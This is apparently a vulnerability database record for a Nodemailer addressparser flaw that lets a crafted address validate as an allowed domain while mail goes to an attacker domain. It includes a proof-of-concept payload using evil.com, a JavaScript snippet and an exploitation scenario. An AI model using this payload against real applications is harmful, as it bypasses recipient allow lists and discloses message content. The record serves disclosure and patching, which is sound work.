{"id":"CVE-2026-121426","aliases":["CVE-2026-121426","GHSA-85x2-q946-cp5h"],"related":[],"kind":"vulnerability","state":"published","title":"Nodemailer 3.0.0 before 10.1.4 Recipient Domain Confusion via addressparser","summary":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that ends an angle-addr at a '>' inside a quoted local part, comment or domain literal. Attackers can submit addresses that validate as an allowed domain but are delivered to an attacker-controlled domain, bypassing recipient allow lists and disclosing message content.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that ends an angle-addr at a '>' inside a quoted local part, comment or domain literal. Attackers can submit addresses that validate as an allowed domain but are delivered to an attacker-controlled domain, bypassing recipient allow lists and disclosing message content.","source":"cvelist"},{"lang":"en","text":"### Vulnerability summary\n\naddressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. `<\"a@evil.com>\"@good.com>` is the mailbox `\"a@evil.com>\"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.\n\n### Attacker capabilities\n\nThe attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.\n\n### Realistic exploitation scenario\n\nAn application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits `<\"a@evil.com>\"@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO:<\"\\\"a\"@evil.com>` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.\n\n### Proof of concept\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser(\"<\\\"a@evil.com>\\\"@good.com>\"));\n// [ { address: '\"a@evil.com', name: '@good.com>' } ]\n```\n\nPython's `email._header_value_parser.get_address_list` reads the same value as `\"a@evil.com>\"@good.com`, with no defects reported.\n\nThe envelope a message gets is built from the same parse, so `sendMail({ to: \"<\\\"a@evil.com>\\\"@good.com>\" })` issues the RCPT TO shown above.\n\n### Security impact\n\nMail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.\n\nThe fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them.\n\nFound in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.","format":"markdown","source":"ghsa"}],"published":"2026-10-23T21:51:18.000Z","modified":"2026-11-07T03:17:06.627Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":8.3,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-20","CWE-436"],"affected":[{"ranges":[{"type":"semver","introduced":"3.0.0","fixed":"10.1.4","status":"affected"},{"type":"semver","version":"10.1.4","status":"unaffected"}],"vendor":"nodemailer","product":"nodemailer","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"10.1.4"}],"ecosystem":"npm","package":"nodemailer","purl":"pkg:npm/nodemailer","source":"ghsa"}],"references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.1.4-recipient-domain-confusion-via-addressparser","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/nodemailer/nodemailer","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-11-07T02:57:46.885Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-121426","url":"https://www.cve.org/CVERecord?id=CVE-2026-121426","licence":"CVE Terms of Use","modified":"2026-11-07T02:58:08.823Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-85x2-q946-cp5h","url":"https://github.com/advisories/GHSA-85x2-q946-cp5h","licence":"CC-BY-4.0","modified":"2026-11-04T02:56:06.991Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-121426","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121426","licence":"Public domain","modified":"2026-11-07T03:17:06.627Z"}],"updatedAt":"2026-11-25T22:59:48.451Z","epss":{"score":0.00277,"percentile":0.21576,"date":"2026-12-01T12:00:22.000Z"}}